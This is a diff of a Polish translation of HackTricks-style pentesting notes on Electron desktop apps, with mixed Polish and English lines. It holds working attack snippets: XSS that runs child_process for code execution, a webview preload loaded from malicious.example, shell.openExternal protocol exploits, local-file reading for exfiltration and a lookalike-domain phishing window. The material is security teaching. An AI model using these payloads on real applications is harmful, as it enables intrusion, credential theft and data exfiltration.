**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Możesz **zautomatyzować** to przy użyciu **nmap pluginu** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Można **umieścić treść** wewnątrz **Redirection**. Ta treść **nie będzie widoczna dla użytkownika** (przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**.
|
||||
Możliwe jest **umieszczenie zawartości** wewnątrz **Redirection**. Ta zawartość **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
### Sprawdzanie podatności webowych
|
||||
|
||||
Gdy wykonasz już kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych podatności. Checklista znajduje się tutaj:
|
||||
Gdy wykonano już kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych podatności. Możesz znaleźć checklistę tutaj:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -342,11 +341,11 @@ Więcej informacji o web vulns:
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitor Pages for changes
|
||||
### Monitorowanie stron pod kątem zmian
|
||||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) do monitorowania stron pod kątem modyfikacji, które mogą wprowadzić podatności.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
### HackTricks Automatyczne polecenia
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
|
||||
|
||||
Zazwyczaj kod aplikacji Electron znajdziesz wewnątrz pakietu `.asar`; aby uzyskać kod, musisz go wyodrębnić:
|
||||
Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wyodrębnić:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć wskazany plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
|
||||
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -20,11 +20,11 @@ W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleź
|
||||
Electron ma 2 typy procesów:
|
||||
|
||||
- Proces główny (ma pełny dostęp do NodeJS)
|
||||
- Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
|
||||
- Proces renderujący (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
|
||||
|
||||
.png>)
|
||||
|
||||
**Proces renderera** będzie oknem przeglądarki ładującym plik:
|
||||
Proces **renderujący** będzie oknem przeglądarki ładującym plik:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje będą **zapobiegać uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
|
||||
Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre z tych ustawień mogą **zapobiec uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
|
||||
|
||||
Aplikacja Electron **może uzyskać dostęp do urządzenia** za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
|
||||
Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
|
||||
|
||||
- **`nodeIntegration`** - jest domyślnie ustawione na `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
|
||||
- **`contextIsolation`** - domyślnie jest `on`. Jeśli `off`, procesy główny i renderer nie są izolowane.
|
||||
- **`preload`** - domyślnie puste.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonywać.
|
||||
- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, pozwala na dostęp do funkcji Node z procesu renderera.
|
||||
- **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane.
|
||||
- **`preload`** - domyślnie pusty.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - jest domyślnie `off`.
|
||||
- Jeśli **`nodeIntegration`** jest **włączone**, to pozwoli na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron.
|
||||
- Jeśli **`nodeIntegration`** jest **wyłączone**, wtedy preloady zostaną załadowane w iframe
|
||||
- **`nodeIntegrationInSubframes`**- jest domyślnie `off`.
|
||||
- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron.
|
||||
- Jeśli **`nodeIntegration`** jest **disabled**, preloady załadują się w iframe
|
||||
|
||||
Przykład konfiguracji:
|
||||
```javascript
|
||||
@ -101,9 +101,9 @@ Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Lokalna injekcja kodu w aplikacji Electron
|
||||
## Electron Local Code Injection
|
||||
|
||||
Jeśli możesz uruchomić lokalnie aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz, jak w:
|
||||
Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz jak w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ Jeśli możesz uruchomić lokalnie aplikację Electron, możliwe, że będziesz
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
Jeśli **nodeIntegration** jest ustawione na **on**, JavaScript strony WWW może łatwo korzystać z funkcji Node.js, po prostu wywołując `require()`. Na przykład sposób uruchomienia aplikacji calc na Windows wygląda następująco:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Skrypt wskazany w tym ustawieniu jest ł**adowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
|
||||
Skrypt wskazany w tym ustawieniu jest l**załadowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -153,16 +153,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ wprowadza **oddzielne konteksty między skryptami strony a wewnętrznym kodem JavaScript Electron**, dzięki czemu wykonanie JavaScript jednego z nich nie wpływa na drugie. To niezbędna funkcja, aby wyeliminować możliwość RCE.
|
||||
_**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony WWW a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript w jednym kontekście nie wpływało na drugi. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
|
||||
|
||||
If the contexts aren't isolated an attacker can:
|
||||
Jeśli konteksty nie są izolowane, atakujący może:
|
||||
|
||||
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
||||
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, żeby przejąć kontrolę
|
||||
1. Wykonać **dowolny JavaScript w rendererze** (XSS lub nawigacja do zewnętrznych stron)
|
||||
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć kontrolę nad funkcją
|
||||
3. **Wywołać** użycie **nadpisanej funkcji**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
Są 2 miejsca, gdzie wbudowane metody mogą zostać nadpisane: w preload code lub wewnętrznym kodzie Electron:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -181,7 +181,7 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Ominięcie zdarzenia kliknięcia
|
||||
|
||||
If there are restrictions applied when you click a link you might be able to bypass them **klikając środkowym przyciskiem myszy** zamiast zwykłego lewego kliknięcia
|
||||
Jeśli zastosowano ograniczenia przy kliknięciu linku, możesz je obejść, wykonując **kliknięcie środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -189,26 +189,26 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Aby uzyskać więcej informacji na temat tych przykładów, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Podczas wdrażania aplikacji desktopowej Electron kluczowe jest ustawienie właściwych opcji `nodeIntegration` i `contextIsolation`. Uznaje się, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electrona z procesu głównego jest skutecznie uniemożliwione przy takich ustawieniach.
|
||||
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie poprawnych ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Uznaje się, że **client-side remote code execution (RCE)** wymierzony w preload scripts lub natywny kod Electron uruchamiany z procesu głównego jest skutecznie zapobiegany, gdy te ustawienia są odpowiednio skonfigurowane.
|
||||
|
||||
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
|
||||
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, wywoływane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania własnej **logiki biznesowej**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie czy w zewnętrznej przeglądarce. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeżeli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otworzony zewnętrznie przy użyciu `shell.openExternal`.
|
||||
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania własnej **logiki biznesowej**. Aplikacja ocenia, czy link, do którego nastąpiła nawigacja, powinien zostać otwarty wewnętrznie czy w zewnętrznej przeglądarce. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, korzystając z funkcji `shell.openExternal`.
|
||||
|
||||
**Poniżej uproszczony pseudokod:**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Zalecenia dotyczące bezpieczeństwa Electron JS odradzają akceptowanie nieufnej treści za pomocą funkcji `openExternal`, ponieważ może to doprowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Po szczegółowe przykłady i dodatkowe wyjaśnienia na ten temat można odnieść się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), które zawiera przykłady protokołów Windows, które mogą wykorzystać tę podatność.
|
||||
Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych wykorzystać tę podatność.
|
||||
|
||||
W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład w `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Przykłady Windows protocol exploits obejmują:**
|
||||
**Przykłady exploitów protokołów Windows obejmują:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -230,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
This vuln można znaleźć w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Ta luka znajduje się w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** to **przestarzała funkcja**, która umożliwia użycie **NodeJS** w **renderer process**, którą należy wyłączyć, ponieważ pozwala załadować skrypt wewnątrz preload context, np.:
|
||||
**webviewTag** jest **przestarzałą funkcją**, która pozwala na użycie **NodeJS** w **procesie renderera**; powinna być wyłączona, ponieważ umożliwia załadowanie skryptu wewnątrz kontekstu preload, na przykład:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
W związku z tym atakujący, któremu uda się załadować dowolną stronę, mógłby użyć tego tagu, aby **załadować dowolny preload script**.
|
||||
Dlatego atakujący, któremu uda się załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**.
|
||||
|
||||
Ten preload script został następnie nadużyty, aby wywołać **podatną usługę IPC (`skype-new-window`)**, która wywoływała **`shell.openExternal`**, aby uzyskać RCE:
|
||||
Ten preload script został następnie wykorzystany do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`** w celu uzyskania RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Odczyt plików wewnętrznych: XSS + contextIsolation
|
||||
|
||||
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltrating lokalnych plików. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
|
||||
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
|
||||
|
||||
.png>)
|
||||
|
||||
Dodatkowo udostępniono inną metodę **czytania pliku wewnętrznego**, podkreślając krytyczną podatność na odczyt lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltrate data:
|
||||
Dalej przedstawiono kolejny sposób na **odczyt pliku wewnętrznego**, naświetlający krytyczną podatność umożliwiającą odczyt lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltracji danych:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,45 +271,45 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Stare Chromium**
|
||||
## **RCE: XSS + Stary Chromium**
|
||||
|
||||
Jeśli **chromium** używane przez aplikację jest **stare** i występują na nim **znane** **vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\
|
||||
Jeśli używane przez aplikację **chromium** jest **stare** i istnieją na nie **znane** **vulnerabilities**, może być możliwe **wykorzystanie ich i uzyskanie RCE przez XSS**.\
|
||||
Przykład można zobaczyć w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing przez wewnętrzny URL regex bypass**
|
||||
## **XSS Phishing przez Internal URL regex bypass**
|
||||
|
||||
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń poprzez phishing**.
|
||||
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych** możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.
|
||||
|
||||
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS po stronie front-endu:
|
||||
Przede wszystkim musisz wiedzieć, co się dzieje, kiedy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Wywołanie **`openInternally`** zadecyduje, czy **link** zostanie **otwarty** w **oknie desktopowym**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **przeglądarce jako zasób 3rd party**.
|
||||
Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otworzony** w **oknie desktopowym**, ponieważ należy do platformy, **czy** zostanie otworzony w **przeglądarce jako zasób 3rd party**.
|
||||
|
||||
W przypadku, gdy **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika:
|
||||
W przypadku, gdy **regex** użyty przez funkcję jest **wrażliwy na obejścia** (na przykład przez **nieuciekanie kropek w subdomenach**), atakujący może wykorzystać XSS do **otwarcia nowego okna**, które będzie znajdować się w infrastrukturze atakującego i **będzie prosić użytkownika o dane uwierzytelniające**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Protokół `file://`
|
||||
## `file://` Protokół
|
||||
|
||||
Jak wspomniano w [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do wszystkich plików na Twoim komputerze, co oznacza, że **problemy XSS mogą być użyte do załadowania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **własny protokół** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Moduł Remote
|
||||
## Remote module
|
||||
|
||||
Moduł Remote w Electron umożliwia **procesom renderer dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Zwiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak ataki cross-site scripting (XSS).
|
||||
The Electron Remote module allows **procesom renderera dostęp do API procesu głównego**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderer, nie jest proste uzyskanie RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
|
||||
> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderera, nie jest prosto uzyskać RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
|
||||
|
||||
> [!WARNING]
|
||||
> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderer, co stanowi **ogromne ryzyko bezpieczeństwa**.
|
||||
> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderera, co jest **ogromnym zagrożeniem bezpieczeństwa**.
|
||||
|
||||
Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się go nie używać**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **zaleca się, aby go nie używać**.
|
||||
|
||||
Aby go włączyć, najpierw trzeba **włączyć go w procesie głównym**:
|
||||
To enable it, it'd first needed to **włączyć go w procesie głównym**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Następnie proces renderera może importować obiekty z modułu w następujący sposób:
|
||||
Następnie proces renderera może zaimportować obiekty z modułu w następujący sposób:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:
|
||||
The **[post na blogu](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z remote module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne do **aktualizacji aplikacji** lub znaczących **zmian stanu**.
|
||||
- **`Restartuje`** aplikację przez **`zakończenie`** bieżącej instancji i **`uruchomienie`** nowej. Przydatne przy **`aktualizacjach aplikacji`** lub znaczących **`zmianach stanu`**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi mogą być **pobrane** lub **zmienione** za pomocą **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Rejestruje** bieżący plik wykonywalny jako **domyślnego obsługiwacza** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty** w razie potrzeby.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Dodaje** zadania do **kategorii Zadań** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importuje** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** może być użyty do obsługi wyniku.
|
||||
- **`Definiuje`** lub **`tworzy`** katalog do przechowywania **logów aplikacji**. Logi można **`pobrać`** lub **`zmodyfikować`** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])``**
|
||||
- **`Rejestruje`** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty**, jeśli to potrzebne.
|
||||
- **`app.setUserTasks(tasks)``**
|
||||
- **`Dodaje`** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
|
||||
- **`app.importCertificate(options, callback)``**
|
||||
- **`Importuje`** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). Można użyć **callback** do obsługi wyniku.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
|
||||
- **`Przenosi`** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Ustawia** lub **usuwa** niestandardowy **Jump List** w **Windows**. Możesz określić **kategorie**, aby uporządkować sposób wyświetlania zadań użytkownikowi.
|
||||
- **`Ustawia`** lub **`usuwa`** niestandardowy **Jump List** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu** wraz z ich **opcjami** (tylko macOS i Windows).
|
||||
- **`Konfiguruje`**, które pliki wykonywalne są uruchamiane przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences moduł
|
||||
## Moduł systemPreferences
|
||||
|
||||
To **główne API** do uzyskiwania dostępu do ustawień systemowych i **emitowania zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
|
||||
To **główny interfejs API** umożliwiający dostęp do ustawień systemowych i **emitowanie zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
|
||||
|
||||
**Przykładowe użycie:**
|
||||
```javascript
|
||||
@ -367,13 +367,13 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Nasłuchuje** **natywnych powiadomień macOS** używając NSDistributedNotificationCenter.
|
||||
* Przed **macOS Catalina**, można było podsłuchiwać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
|
||||
* Po **Catalina / Big Sur**, aplikacje w sandboxie nadal mogą **subskrybować** wiele zdarzeń (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) poprzez rejestrację powiadomień **po nazwie**.
|
||||
* **Nasłuchuje** natywnych powiadomień macOS za pomocą NSDistributedNotificationCenter.
|
||||
* Przed **macOS Catalina** można było przechwytywać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
|
||||
* Po **Catalina / Big Sur** aplikacje w sandboxie nadal mogą **subskrybować** **wiele zdarzeń** (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) przez rejestrowanie powiadomień **po nazwie**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfejsuje** z NSUserDefaults, który przechowuje preferencje **aplikacji** lub **globalne** w macOS.
|
||||
* **Interfejsuje** z **NSUserDefaults**, które przechowuje preferencje **aplikacyjne** lub **globalne** na macOS.
|
||||
|
||||
* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**.
|
||||
|
||||
@ -383,15 +383,15 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Ta funkcja pokazuje dany plik w menedżerze plików, który **może automatycznie wykonać plik**.
|
||||
Ta funkcja pokazuje wskazany plik w menedżerze plików, który **może automatycznie uruchomić ten plik**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Aplikacje Electron powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zabronić** **wykonywania** **niezaufanego kodu** w przeglądarce.
|
||||
